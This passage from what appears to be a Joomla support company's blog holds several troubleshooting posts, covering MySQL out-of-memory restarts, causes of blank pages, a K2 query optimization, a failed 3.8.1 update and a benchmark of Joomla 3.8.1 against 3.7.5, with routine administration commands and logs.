2017-11-07 13:11:24 11675 [Note] InnoDB: Database was not shutdown normally!
2017-11-07 13:11:24 11675 [Note] InnoDB: Starting crash recovery.
2017-11-07 13:11:24 11675 [Note] InnoDB: Reading tablespace information from the .ibd files...
2017-11-07 13:11:27 11675 [Note] InnoDB: Restoring possible half-written data pages
2017-11-07 13:11:27 11675 [Note] InnoDB: from the doublewrite buffer...
InnoDB: Doing recovery: scanned up to log sequence number 65221104018
2017-11-07 13:11:30 11675 [Note] InnoDB: Starting an apply batch of log records to the database...
InnoDB: Progress in percent: 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
InnoDB: Apply batch completed
2017-11-07 13:11:33 11675 [Note] InnoDB: 128 rollback segment(s) are active.
2017-11-07 13:11:33 11675 [Note] InnoDB: Waiting for purge to start
2017-11-07 13:11:33 11675 [Note] InnoDB: 5.6.38 started; log sequence number 65221104018
2017-11-07 13:11:33 11675 [Note] Server hostname (bind-address): '*'; port: 3306
2017-11-07 13:11:34 11675 [Note] IPv6 is available.
2017-11-07 13:11:34 11675 [Note]   - '::' resolves to '::';
2017-11-07 13:11:34 11675 [Note] Server socket created on IP: '::'.
2017-11-07 13:11:35 11675 [Note] Event Scheduler: Loaded 0 events
2017-11-07 13:11:35 11675 [Note] /usr/sbin/mysqld: ready for connections.
Version: '5.6.38'  socket: '/var/lib/mysql/mysql.sock'  port: 3306  MySQL Community Server (GPL)

You can clearly see that within 2 hours, MySQL restarted twice, by itself! But why? This is where this whole thing started to spin into a fun Joomla mystery! We looked at all the logs, for a sign that can lead us to the real cause of the problem, and after many hours of investigation, we found a clue. It was the following lines in the messages file which is located under the /var/log folder:

Nov  7 11:03:21 host kernel: [42008818.160677] Out of memory: Kill process 39364 (mysqld) score 27 or sacrifice child
Nov  7 11:03:21 host kernel: [42008818.161356] Killed process 39364, UID 498, (mysqld) total-vm:1402564kB, anon-rss:16576kB, file-rss:252kB
Nov  7 11:03:22 host kernel: [42008818.858715] php invoked oom-killer: gfp_mask=0x201da, order=0, oom_adj=0, oom_score_adj=0

If you carefully read the above lines, you will understand what was happening. The system ran out of memory, and it had to make a decision: either to kill the mysqld process or to sacrifice its child(ren). In the next line, you can see that the kernel decided to kill the mysqld process and immediately went ahead with this decision, which resulted in restarting the MySQL server.

OK, now we know it’s a memory issue. But why? Doesn’t their server have enough memory? We issued the following command in the shell to know the amount of memory the server has…

free -m

… and it returned the following:

             total       used       free     shared    buffers     cached
Mem:          1815       1545        270          0        130       1004
-/+ buffers/cache:        409       1405
Swap:         1999        159       1840

Aha! So this server has less than 2 GB of RAM (it is obviously a VPS, and not a server), and 0% of this RAM was free. Of course, Linux tends to allocate unused memory for cache to speed things up, but still, 2 GB is obviously too small for this website, as the server is running out memory.

We offered 2 solutions to the client: 1) We can optimize the queries on the site in order to reduce the memory usage on the database server, or 2) They upgrade to a real dedicated server with at least 16 GB of RAM.

The client opted for the latter solution, which is, in our opinion, the ideal solution.

So there you have it, if you have intermittent downtimes on your MySQL server, then check your logs (especially the /var/log/messages file) to see if your server is running out of memory. If that’s the case, then the best route that you can take is to add resources to your server (or migrate to a more powerful server that has more RAM). If you want to take an alternative route, then just contact us. We are always ready to help, our fees are right, and our work is ultra professional!

7 Reasons Your Joomla Site Is Suddenly Displaying a Blank Page

You haven’t done anything on your Joomla website for 4 weeks, and you are the only authorized person that has access to the backend of the website and to the site’s filesystem/database. Yet, you wake up this morning and you find out that your website (frontend and/or backend), is displaying a blank page. You call your host, and they tell you they know nothing about it. You panic, you google this issue, and you land on this post. You did the right thing, because in this post, we’ll reveal the top 7 reasons that may have caused the blank page that you’re now seeing on your Joomla site.

  1. Your website got hacked: In the majority of cases, a sudden blank page on a Joomla website is caused by a hack that didn’t go very well; the hacker tried to inject malicious code on your site, but instead, crashed the website. Look at the bright side of this, if the hack fully succeeded and your website still worked, then it would have taken you a long time to discover that your website was hacked, which may cause Google to penalize your website (it is not fun to get out of a Google penalty, and sometimes, you are stuck there for a very, very long time).
  2. Your environment has changed: The second common reason that can cause a sudden blackout (or a blankout) on your Joomla site is an environment change. For example, a MySQL update and/or a PHP update that is (are) not supported by your current version of Joomla. From our experience, asking the host to revert the update is a futile endeavor (although some hosts do have some tools that will allow you to use a different version of MySQL and/or PHP), so the best solution is to either update your website to the latest version of Joomla, or hire someone to resolve the incompatibilities between your Joomla website and the updated environment. Keep in mind that at times the issue is caused by one ore more 3rd party extension that are incompatible with the new version of MySQL and/or PHP.

  3. Your system/database ran out of space: On every page load, Joomla writes something to the database (typically in the #__session table). If Joomla cannot write to the disk for one reason or the other, then it will fail and will display a blank page (unless you have error reporting turned on, in which case Joomla will display the actual error). The solution to this problem is to delete the temporary/unnecessary files (especially obsolete backups) and reduce the size of the database by removing any backup tables/databases. You should also consider asking your host to increase your disk space or your database limits.

  4. You have some corruption at the database level: As stated in our last point, Joomla writes to the database on every page load. If there is a corruption at the database level or at a table level, then Joomla will display a blank page. There are several causes behind a database/table corruption, including, but not limited to, disk failure and bad sectors (which are mainly caused by power outages and forced shutdowns). InnoDB databases tend to fix themselves on database restart (if the cause of the issue is not a disk failure). MyISAM databases, on the other hand, must be repaired manually (which is another reason why you should switch the storage engine of your Joomla database from MyISAM to InnoDB).

  5. You server has hardware issues: Hardware issues include, but are not limited to: disk failure, motherboard failure, bad RAM, and overheating. Only the data center can fix any hardware issues you may have on your server. If you want to minimize the risk of having hardware issues, then you need to migrate to another, newer server every 12-18 months. Unfortunately, we know that most readers will take this advice with a grain of salt, and that they will only remember reading about it on the itoctopus blog when it’s too late.

  6. One of your Joomla plugins went berserk: One of our clients had a system plugin that loaded some content from a remote site. All of a sudden, the content format on the remote site changed and the plugin went berserk, causing the whole Joomla website to crash. Fixing the problem consisted of disabling the plugin (the client didn’t want it anymore). Admittedly, we only had this one case where a system plugin was the cause of the issue, so the probability for this happening on your site is very low. Still, it is not a bad idea to review your system plugins if the cause of your problem is none of the above.

  7. You have once worked with a wicked developer: It’s a wicked, wicked world and there are some wicked, wicked Joomla developers out there. It might be that a developer added some code somewhere on your website a long time ago that will make it die on a specific date. Fortunately, debugging this issue is not hard if you hire the right people to do it for you (such as us).

We hope that you found this post useful, and that it helped you address the sudden blank page issue on your Joomla website. If, however, your problem is not caused by anything in the above list, or if you need help with the implementation, then please contact us. We are here to help, our fees are always affordable, we are very reliable, and our work is very clean!

A Simple Yet Powerful K2 Optimization Tip for Joomla Sites

While optimizing an already optimized K2 powered Joomla website yesterday, we noticed the following query in the slow query log:

SELECT i.*, c.name as categoryname,c.id as categoryid, c.alias as categoryalias, c.params as categoryparams FROM #__k2_items as i RIGHT JOIN #__k2_categories AS c ON c.id = i.catid WHERE i.published = 1 AND i.access IN(1,1,5) AND i.trash = 0 AND c.published = 1 AND c.access IN(1,1,5) AND c.trash = 0 AND ( i.publish_up = '0000-00-00 00:00:00' OR i.publish_up <= '2017-10-31 14:53:20' ) AND ( i.publish_down = '0000-00-00 00:00:00' OR i.publish_down >= '2017-10-31 14:53:20' ) AND c.id IN (1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17) AND i.featured = 1 AND i.id > 25000 ORDER BY i.featured DESC, i.created DESC LIMIT 0, 10;

The above query typically runs on the homepage of the high traffic Joomla site, and is used to return a list of featured K2 items belonging to (K2) categories 1 to 17. The query, as you may have already noticed, is already optimized. However, it is slow, and this is because of the following:

c.id IN (1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17)

As you can see in the above, the query uses MySQL’s IN, which is very expensive. Well, not as expensive as buying a whole watermelon in Iqaluit, Nunavut (this is the in North Pole, in case you just don’t have time to google it), but still, really expensive. The reason why the query uses IN is to restrict the search to a number of specific categories. But, is this really necessary?

In the case of this website, it was not. First, all of the K2 categories on the Joomla site consisted of the 17 categories listed above, and second, even if there were other K2 categories than the ones listed above, the filtering on the featured field was enough (the featured field is mainly used to filter the items to be displayed on the homepage). So, we logged in to the backend of the website, and we went to the Home menu item (e.g. the menu item where the Home flag is set), and we clicked on options, and we removed all the categories from Select Categories. We saved the menu item and then we cleared the cache. We then verified that the website was showing the same content that it was displaying before on the homepage (just to make sure that we didn’t break something in the process).

After doing the above, we monitored the slow query log for that website for 24 hours, and, guess what, there were no more slow queries! Hooray!

So, in case you are having some performance issues on your K2 powered website, then make sure you are not filtering on categories when you don’t need to do so (if you are displaying only featured items on the homepage, then it is almost a certainty that you don’t need to have any filtering on the categories). If the K2 performance issues are caused by something else, then please contact us. We are experts in Joomla optimization, our work is super clean, and our fees are super affordable!

“Fatal error: Class ‘Joomla\CMS\Menu\Tree’ not found” Error After Failed Joomla Update

This past weekend, a client of ours from Kuwait emailed us and told us that the backend of his Joomla website is displaying a blank page. He told us that the login page to the backend was working, but, as soon as you login, you will see a blank page. He also told us that the problem happened after updating the obRSS extension.

Naturally, the first thing that we did was to disable the obRSS system plugin by renaming its folder under the plugins/system folder, but, unfortunately, that didn’t fix the problem, so the problem must have been caused by something else.

We then enabled error reporting on the Joomla website by setting the value of the $error_reporting variable to maximum (in the global configuration.php file), but we still saw a blank page. This meant that the “@” operator was used and/or output buffering was enabled somewhere, so we tried to disable output buffering through various means, but that didn’t work. We still saw a blank page.

After our 2 failed attempts to unveil the actual error, we decided to debug the issue the good old way. We renamed the whole modules folder (under the administrator folder) to modules_old and we tried to load the backend, and this time, it did work (albeit with no modules whatsoever). This meant that the problem was caused by one of the administrator modules. So we renamed the modules_old folder back to modules, and then we renamed the folders (modules) inside that folder one by one, and we tested the website after each rename. Once we renamed the mod_menu folder to mod_menu_old, the problem was no more! This was weird, we thought, since the problem turned out to be with a core module (we thought that this was caused by a 3rd party module/plugin).

After discovering that the problem was caused by the mod_menu folder, which is located under the administrator/modules folder, we needed to display the actual error. So, we added the following 3 lines to the very beginning of the menu.php file (which is located under the administrator/modules/mod_menu folder):

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

After doing the above, we loaded the backend of the Joomla website, and this time we saw an error instead of a blank page. It was this one::

Fatal error: Class 'Joomla\CMS\Menu\Tree' not found in /home/[cpanel-user]/public_html/administrator/modules/mod_menu/menu.php on line 63

Hmmm! The above error felt like it was caused by an incomplete Joomla 3.8.1 update, as it seems that the backend menu module was trying to use dependencies from a Joomla 3.8 instance despite the fact that the Joomla website was running 3.7.0. So, we renamed the libraries folder to libraries_old, and recopied the libraries folder from a fresh copy of Joomla 3.7.0, but that didn’t fix the problem.

So we thought, maybe the problem was only in the aforementioned menu.php file, so we copied that file from a fresh Joomla 3.7.0 install, and we loaded the backend of the site. This time, we saw a different error, it was this one:

Fatal error: Call to undefined method ModMenuHelper::getComponents() in /home/[cpanel-user]/public_html/administrator/modules/mod_menu/preset/enabled.php on line 297

So, we did the same thing for the enabled.php file (we copied it from a fresh Joomla 3.7.0) install. We then reloaded the backend, and yet another different error was displayed:

Fatal error: Call to undefined method JAdminCssMenu::getTree() in /home/[cpanel-user]/public_html/administrator/modules/mod_menu/tmpl/default.php on line 17

At this point, we were no longer having fun. So we copied the whole administrator/mod_menu folder from a fresh copy of Joomla 3.7.0 to the current site (after deleting the old mod_menu folder), and this time, it worked! There were no errors being displayed.

Despite fixing the problem, we didn’t feel satisfied, because we felt that the website was in an unstable state. From our experience, a failed Joomla update doesn’t only affect one folder. So, we asked for permission from the client to update the website, and we were granted that permission immediately.

We initiated the Joomla update by clicking on the Update Now button on the home screen of the backend of the Joomla website (of course, we backed up both the filesystem and the database of the website before proceeding), and, instead of having a smooth update, we saw the following error:

Error: Could not open /home/[cpanel-user]/public_html/cache/index.html for writing.

So, we loaded the backend again, and this time, we saw a blank page. We immediately suspected that the blank page was caused by the administrator menu module, and disabling that module by renaming the mod_menu folder (under the administrator folder) to mod_menu_old confirmed our suspicions. Not only that, this failed update allowed us to understand the original cause of the problem: the client tried to update the Joomla website, and it failed on him, but, it did that after updating the administrator menu module to its Joomla 3.8.1 code, which made the module incompatible with the current website, thus triggering the error.

So, we reverted the administrator menu module to Joomla 3.7.0 (again), and we checked the permissions on the index.html file (which is located under the cache folder). They were the following:

-rwxrwxrwx 1 root root 0 Apr 26 2017 index.html*

Obviously, the permissions and the ownership of the file were both wrong, so we fixed them by issuing the following 2 commands in the shell:

chmod 644 index.html
chown [cpanel-user].[cpanel-user] index.html

We then reattempted the update and this time it worked! The website was updated to Joomla 3.8.1 and was working without a hitch. Hooray!

We hope that you found this post useful and that it helped you resolve your problem. If it didn’t, or if you need help with the implementation, then please contact us! Our fees are affordable, our work is professional, and we will be your true Joomla friends!

What Happens if Joomla Does Not Close MySQL Database Connections

At itoctopus, we have a strong passion for optimizing Joomla websites, that’s why we always research new ways that may improve their performance. We mostly focus on optimizing the database because sometimes a simple database optimization can have a huge impact on the overall performance of the Joomla website. This time it was no different.

However, the database optimization that we attempted wasn’t about optimizing a query, or indexing a field, or modifying the my.cnf file (the MySQL global configuration file). It was about answering the million dollar question that many have asked but no one has given a straight answer to: “Does closing the connection to the MySQL database cause a performance hit”? Many have provided theories and opinions about this, but none (as far as we know) has given an answer based on an actual experiment. We decided to be the first ones to provide a real, experiment-based answer to this question, not only because it hasn’t been answered before, but also because we were very curious.

Joomla does explicitly close the connection to MySQL in the mysqli.php file which is located under the libraries/joomla/database/driver folder. So we decided to do the following test:

  • Run the following ab (Apache Benchmark) on an unmodified Joomla 3.8.1 website (with test data installed) with n concurrent connections, where n is 10, 20, 30, 40, and 50:

    ab -c n -t 10 "http://www.joomla381.com/"

  • Remove the following line from the aforementioned mysqli.php file (note: the line is in the disconnect function):

    mysqli_close($this->connection);

  • Run the above ab test again on the modified Joomla website, where the MySQL connection is no longer closed.

Unlike our comparison between the performance of Joomla 3.7.5 and Joomla 3.8.1, we didn’t get any exciting data. The data was more or less the same. A few milliseconds here and a few milliseconds there. Nothing of significance was observed. There was no constant advantage for one over the other.

In fact, we thought (hoped?) that not closing the connection would provide a boost (albeit a negligible one) to the performance of the Joomla website, and this is because there is overhead in opening and closing MySQL connections, but it seems that such an advantage (if it really existed in the first place) was offset by something else.

So there you have it! There is no advantage in not closing the connection to the MySQL database on a Joomla website. If you have a different experience, then please comment below. If you need help optimizing your Joomla website, then please contact us. We are experts in Joomla optimization, our work is clean, and our fees are right!

Joomla Has a Mystery “ordering” Form Field Type

Yesterday evening (or very early in the morning today), we updated the Joomla website of a new client from Joomla 3.1.5 to Joomla 3.7.5 (we are waiting for 3.8.2 to be released to update to 3.8). The update was really nothing out of the ordinary: we did see some issues but we fixed them immediately as all of these issues were déjà vu. We were going to email the client and tell them that we were done, but, as we were about to do that, we noticed a weird error on a custom component, which was more or less like the core Joomla content component, but, it had departments instead of articles. The problem was that when we clicked on a department to edit it (or when we tried to create a new department), we saw the following error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘WHERE `catid` = 0 ORDER BY ordering’ at line 3

We analyzed the view, and we were able to narrow down the problem to the following field in the department.xml file under the administrator/components/com_department/models/forms folder:

<field
	name="ordering"
	type="ordering"
	class="inputbox"
	label="JFIELD_ORDERING_LABEL"
	description="JFIELD_ORDERING_DESC"
/>

Naturally, we searched for the form field of type ordering defined at the component level, and we found it, but we didn’t find any mention of catid anywhere in the extension, so the fatal query wasn’t coming from that field. Strangely though, when we removed the field from the XML file, everything worked as it should (but, of course, without the ordering).

So, we enabled debugging in the global configuration of the Joomla website by setting the value of Debug System to “Yes” under System -> Global Configuration -> System. We then loaded the page and we immediately discovered the cause of the problem: the ordering field was being loaded from another location. It was being loaded from the ordering.php core file which is located under the libraries/cms/form/field folder (note that in Joomla 3.8+, the ordering field is located in the OrderingField.php file, which in turn is located under the libraries/src/Form/Field folder). But, what is that field? And why isn’t documented on the Joomla official website?

Further investigation revealed that this field was introduced in Joomla 3.2.0, and that it is used in 3 extensions: com_banners, com_contact, and com_newsfeeds (by the way, we just noticed, why doesn’t Joomla have some standard when it comes to singular/plural naming in its core extensions; why isn’t com_banner and com_newsfeed instead of com_banners and com_newsfeeds?). The core ordering field does exactly what you expect it to do: it displays a drop down of all the content items belonging to the category of the current content item, which allows you to set the latter’s ordering. The field expects the category name of the current content item to be called catid. If it doesn’t find such field, then it crashes, which fully explains the problem that we were having on the client’s site.

Here’s an example usage of the ordering field from the com_banners extension:

<field
	name="ordering"
	type="ordering"
	label="JFIELD_ORDERING_LABEL"
	description="JFIELD_ORDERING_DESC"
	table="#__banners"
/>

You can see that all that you need to pass as a parameter is the table field, which is #__banners in the case of the com_banners extension (note that in previous versions, such as Joomla 3.2.0, you needed to pass the content_type, such as com_banners.banner).

But why wasn’t the “ordering” Joomla form field type documented?

We’re not really sure but we think it was just that the Joomla documentation team forgot about it (we will report this omission to the Joomla core team) – this is plausible because Joomla officially added a whopping 8 fields in Joomla 3.2 (so the ninth one could have easily fell through the cracks). It might also be due to the fact that this field type feels unfinished and non-generic. For example, why is catid hardcoded in the field? Still, the ordering field has its merits, especially for extensions taking advantage of the #__content and the #__categories tables.

So, what did we do to fix the problem?

We fixed the problem by appending the word department to every instance of the word ordering for that field type. Here’s how:

  • We renamed the file ordering.php which is located under the administrator/components/com_department/models/fields to departmentordering.php.
  • We then opened the departmentordering.php file, and we changed the following line:

    class JFormFieldOrdering extends JFormField

    to:

    class JFormFieldDepartmentOrdering extends JFormField

    We also changed the following line:

    protected $type = 'Ordering';

    to:

    protected $type = 'DepartmentOrdering';

  • Finally, we opened the department.xml file which is located under the administrator/components/com_department/models/forms folder and we changed the following:

    <field
    	name="ordering"
    	type="ordering"
    	class="inputbox"
    	label="JFIELD_ORDERING_LABEL"
    	description="JFIELD_ORDERING_DESC"
    />

    to:

    <field
    	name="ordering"
    	type="DepartmentOrdering"
    	class="inputbox"
    	label="JFIELD_ORDERING_LABEL"
    	description="JFIELD_ORDERING_DESC"
    />

Once we did the above, the problem was solved! Woohoo!

Now, if you, our dear reader, are having the same problem and you need help with implementing the solution, then fear not, we are your Joomla super heroes! Just contact us and we’ll fix your website quickly, professionally, and affordably!

Comparing the Performance of Joomla 3.8.1 to Joomla 3.7.5

Note: This a very lengthy post. So, it’ll be a good idea to read it first thing in the morning when your mind is fresh and while you’re having your wake up coffee (or tea, or milk, or cold water, or nothing).

Another note: This is a very technical and a very advanced post. It is mainly aimed for developers, but non-developers can still enjoy it nonetheless, or can just scroll down to the bottom of this post for the chart.

So far, we haven’t upgraded any of our customers to Joomla 3.8.x, and this is because we learned our lesson a few years ago to wait a couple of months before updating to the latest version of Joomla (unless, of course, the update is a major security patch). However, we are very close followers of the Joomla community, and we have read and heard many comments about the bad performance of Joomla 3.8 when it is compared to Joomla 3.7. We did communicate these concerns to the Joomla developers, who discovered that some events were triggered twice in Joomla 3.8.0 (leading to a major performance issue on large Joomla sites), and who fixed that problem in 3.8.1.

So, is Joomla 3.8.1 faster or slower to Joomla 3.7.5? In this post, we decided to benchmark Joomla 3.8.1 against Joomla 3.7.5, in order to provide a definitive answer to the question.

The Setup

We used an idle dedicated server for our test. The server had the following technical specifications:

  • Processor: Intel Xeon E3-1271 v3 Quad-Core
  • Memory: 16 GB DDR3 SDRAM (SDRAM, in case you’re wondering, stands for Synchronous Dynamic Random Access Memory)
  • Disk: 250 GB SSD Drive

The following software was installed on the server:

  • Operating system: CentOs 6 – 64Bit
  • Web server: Apache 2.4
  • Database server: MySQL 5.5
  • PHP version: PHP 5.6

Since we didn’t have any benchmarking tool on the server, we installed ab, the Apache HTTP server benchmarking tool, which is developed by the Apache Software Foundation. Here’s how we installed it

  • We edited the yum.conf file which is located under the /etc folder to remove httpd from the exclusion list. We opened the file using vi:

    vi /etc/yum.conf

    From the exclude line (which is the second line in the file), we removed the httpd* entry, to allow the install of the ab tool through yum. We saved the file and exited vi.

  • We then issued the following command in order to ensure that we can now install ab through yum:

    yum provides /usr/bin/ab

    (Note: If you see No matches found when you issue the above command, then try contacting your host).

  • Once we were sure that we were able to install ab, we installed it using the following command:

    yum install httpd-tools

Now that we have installed ab, te next step was to create 2 cPanel accounts, joomla375.com and joomla381.com (this was easily done through WHM). As you might have guessed, the first account was created in order to install a Joomla 3.7.5 website, while the latter was used for a Joomla 3.8.1 website. But, before installing Joomla on either account, we had to modify the hosts file on our PC and on the server so that these domains resolve to the test server. For our PC, we modified the hosts file which is located under the C:\Windows\System32\drivers\etc folder to include the following 2 lines:

[ip-address-of-the-server] joomla375.com www.joomla375.com
[ip-address-of-the-server] joomla381.com www.joomla381.com

For the server, we added the same lines above in the /etc/hosts file.

At this point, we were ready to install Joomla. We installed Joomla 3.7.5 on joomla375.com and Joomla 3.8.1 on joomla381.com (we will spare you the boring installation details), and – we chose to include the blog test data for both. joomla375.com and joomla381.com ended up being identical sites.

We opened the file my.cnf file under the /etc folder and we added the following 2 lines immediately after [mysqld]:

general_log = on
general_log_file=/var/lib/mysql/all-queries.log

We then restarted MySQL. In case you’re wondering, the above 2 lines will log any query that hits the database server to the all-queries.log file (located under /var/lib/mysql/ folder).

The Benchmarking

Typically, benchmarking is done by issuing a number of concurrent connections to the website for a specific amount of time using a benchmark tool such as ab, then examining the results and comparing them to a different website. However, since we are working on 2 identical websites using the same CMS with a different version, we thought that it’s a good idea to add another metric to the test, which is the size of the query file generated by a page load (or a number of pages loads). In other words, we load the homepage of each Joomla website, with the general_log on, and we compare the size (in bytes) of the all-queries file generated by each Joomla website to the one generated by the other. We will consider that smaller is better (we agree that it is not an accurate benchmark, since the complexity of a query is not always proportional to its string length).

We started with the all-queries benchmark first. Here’s how we did it:

We first loaded the homepage of the Joomla 3.7.5, and we examined, the size in bytes, of the all-queries.log file, and it was 21473 bytes. We emptied the all-queries.log file, and we did the exact same test on the Joomla 3.8.1 website. The size of the file was 18552 bytes. For us, it was a shocking surprise, because we expected the complete opposite. We didn’t expect Joomla 3.8.1 to have about 3 KB less queries than Joomla 3.7.5, so naturally, we were curious. We compared the 2 files and it turned out that Joomla 3.8.1 got rid of all the unnecessary (and never used) references to the #__content_rating table. We did mention the unnecessary references to the #__content_rating table before, and it seems that someone from the Joomla core team was listening then. Other than the removal of the #__content_rating table, we didn’t really find much difference between the 2 files. They were almost identical.

Our next test scenario was slightly more elaborate, as it consisted of doing the following (in the exact sequence below) on the 2 sites:

  • Logging in to the Joomla website.
  • Adding a user with default privileges.

  • Adding an article to the Blog category.

  • Viewing the homepage.

In this test, the results were more in line with our expectations: the size of the all-queries.log file was 161394 bytes for Joomla 3.7.5 and 209505 bytes for Joomla 3.8.1, which amounted to almost exactly a 30% increase in the size of the query file in Joomla 3.8.1. Again, we were curious as to what was different, and so we compared the 2 files. This time, we discovered something very interesting…

The all-queries.log file of the Joomla 3.8.1 website was littered with the following query:

SELECT COUNT(`extension_id`) FROM `#__extensions` WHERE `element` = '[com_extension]' AND `type` = 'component'

com_extension was the name of a component, such as com_content, com_menu, etc…. There were hundreds of these weird queries (375 to be exact) – many were repeated! For example, the following query…

SELECT COUNT(`extension_id`) FROM `#__extensions` WHERE `element` = 'com_menu' AND `type` = 'component'

…was literally 45 times in the log file.

These 375 queries didn’t exist in Joomla 3.7.5 (375 queries didn’t exist on Joomla 3.7.5, is it really just a coincidence, or were the developers trying to tell us something?), and these 375 queries resulted in the 30% increase in the size of the log file.

Now, this query logging method is not scientific, and we didn’t really expect to learn much from it, but we did. We did learn that there is a huge overhead (about 50 additional queries per page) in Joomla 3.8.1, and it’s all because of these weird queries…

The next step was to use the classical method for benchmarking, which is the ab method. So, we issued the following 2 commands in the Linux shell:

ab -c 10 -t 10 "http://www.joomla375.com/"

which returned the following:

This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking www.joomla375.com (be patient)
Finished 737 requests


Server Software:        Apache/2.4.23
Server Hostname:        www.joomla375.com
Server Port:            80

Document Path:          /
Document Length:        18052 bytes

Concurrency Level:      10
Time taken for tests:   10.000 seconds
Complete requests:      737
Failed requests:        0
Write errors:           0
Total transferred:      13676509 bytes
HTML transferred:       13304324 bytes
Requests per second:    73.70 [#/sec] (mean)
Time per request:       135.688 [ms] (mean)
Time per request:       13.569 [ms] (mean, across all concurrent requests)
Transfer rate:          1335.57 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.0      0       0
Processing:    56  133 139.6    115    1482
Waiting:       56  132 139.6    115    1482
Total:         56  133 139.6    115    1482

Percentage of the requests served within a certain time (ms)
  50%    115
  66%    124
  75%    131
  80%    135
  90%    146
  95%    162
  98%    183
  99%   1306
 100%   1482 (longest request)

…and…

ab -c 10 -t 10 "http://www.joomla381.com/"

…which returned the following:

This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking www.joomla381.com (be patient)
Completed 5000 requests
Completed 10000 requests
Completed 15000 requests
Completed 20000 requests
Completed 25000 requests
Completed 30000 requests
Completed 35000 requests
Completed 40000 requests
Completed 45000 requests
Completed 50000 requests
Finished 50000 requests


Server Software:        Apache/2.4.23
Server Hostname:        www.joomla381.com
Server Port:            80

Document Path:          /
Document Length:        328 bytes

Concurrency Level:      10
Time taken for tests:   2.643 seconds
Complete requests:      50000
Failed requests:        0
Write errors:           0
Non-2xx responses:      50000
Total transferred:      28000000 bytes
HTML transferred:       16400000 bytes
Requests per second:    18918.25 [#/sec] (mean)
Time per request:       0.529 [ms] (mean)
Time per request:       0.053 [ms] (mean, across all concurrent requests)
Transfer rate:          10345.92 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.1      0       1
Processing:     0    0   0.1      0       1
Waiting:        0    0   0.1      0       1
Total:          0    1   0.1      0       1
ERROR: The median and mean for the total time are more than twice the standard
       deviation apart. These results are NOT reliable.

Percentage of the requests served within a certain time (ms)
  50%      0
  66%      1
  75%      1
  80%      1
  90%      1
  95%      1
  98%      1
  99%      1
 100%      1 (longest request)

The first command was used to benchmark the Joomla 3.7.5 website, and the second command was used to benchmark the Joomla 3.8.1. So, which one did better?

Before examining the results of the ab command (which are very interesting), let us dissect and explain the ab command line that we issued:

ab -c 10 -t 10 "http://www.joomla381.com/"

The above means that we are sending 10 concurrent (or simultaneous) connections (-c 10) for a maximum of 10 seconds (-t 10) on the website http://www.joomla381.com/ (Note: adding -k to the above command will force the use of the HTTP KeepAlive feature).

Going back to the results, at first glance, it is very obvious that Joomla 3.8.1 did much, much better than Joomla 3.7.5. In fact, Joomla 3.8.1 was able to process 50,000 requests in 2.643 seconds, while Joomla 3.7.5 only processed 737 requests in 10 seconds. The time per request for Joomla 3.8.1 was a a very impressive 0.529 milliseconds, while that of Joomla 3.7.5 was a very slow 135.688 milliseconds. So, if we were to end this article now and we were to use this benchmark data, then we can conclude that Joomla 3.8.1 is 257 times faster than Joomla 3.7.5. This is just too good to be true – more like unbelievable (and rightly so, as you will learn later in this post). So we closely examined the above numbers and we noticed that there was some kind of cheating going on. You see, while the Joomla 3.7.5 website responded with 18052 bytes (this is the Document Length), Joomla 3.8.1 responded with a mere 328 bytes. Clearly, the Joomla 3.8.1 website wasn’t giving the full response.

As you might have guessed, we investigated further…

So, we grabbed the Joomla 3.8.1 website using wget with the following command…

wget http://www.joomla381.com/

…and we got the following response:

Resolving www.joomla381.com... [ip-address]
Connecting to www.joomla381.com|[ip-address]|:80... connected.
HTTP request sent, awaiting response... 403 Forbidden

Aha – the website was returning a 403 error, and then it hit us, we denied, in the .htaccess file of the Joomla 3.8.1 website, all IPs from accessing it with the exception of our IP; so we needed to add the IP of the server as well. The Joomla 3.7.5 website didn’t have the problem because the server IP was already authorized in an allow statement in the .htaccess file.

So, it wasn’t really a conspiracy or cheating or foul play or anything (it’s always easy to blame the poor Joomla development team for anything), it was just us being tired. So we decided to continue our experimentation the next morning.

The next morning (well, at 3 AM to be exact), we continued our work. The first thing that we did was to add the server IP to the .htaccess file of the Joomla 3.8.1 website, and then we re-executed the following ab statement in the shell:

ab -c 10 -t 10 "http://www.joomla381.com/"

This time, it returned totally different results:

This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking www.joomla381.com (be patient)
Finished 714 requests


Server Software:        Apache/2.4.23
Server Hostname:        www.joomla381.com
Server Port:            80

Document Path:          /
Document Length:        18691 bytes

Concurrency Level:      10
Time taken for tests:   10.038 seconds
Complete requests:      714
Failed requests:        0
Write errors:           0
Total transferred:      13705944 bytes
HTML transferred:       13345374 bytes
Requests per second:    71.13 [#/sec] (mean)
Time per request:       140.583 [ms] (mean)
Time per request:       14.058 [ms] (mean, across all concurrent requests)
Transfer rate:          1333.45 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.0      0       0
Processing:    58  137 146.1    117    1530
Waiting:       58  137 146.1    117    1530
Total:         58  137 146.1    118    1530

Percentage of the requests served within a certain time (ms)
  50%    118
  66%    127
  75%    134
  80%    138
  90%    153
  95%    168
  98%    187
  99%   1332
 100%   1530 (longest request)

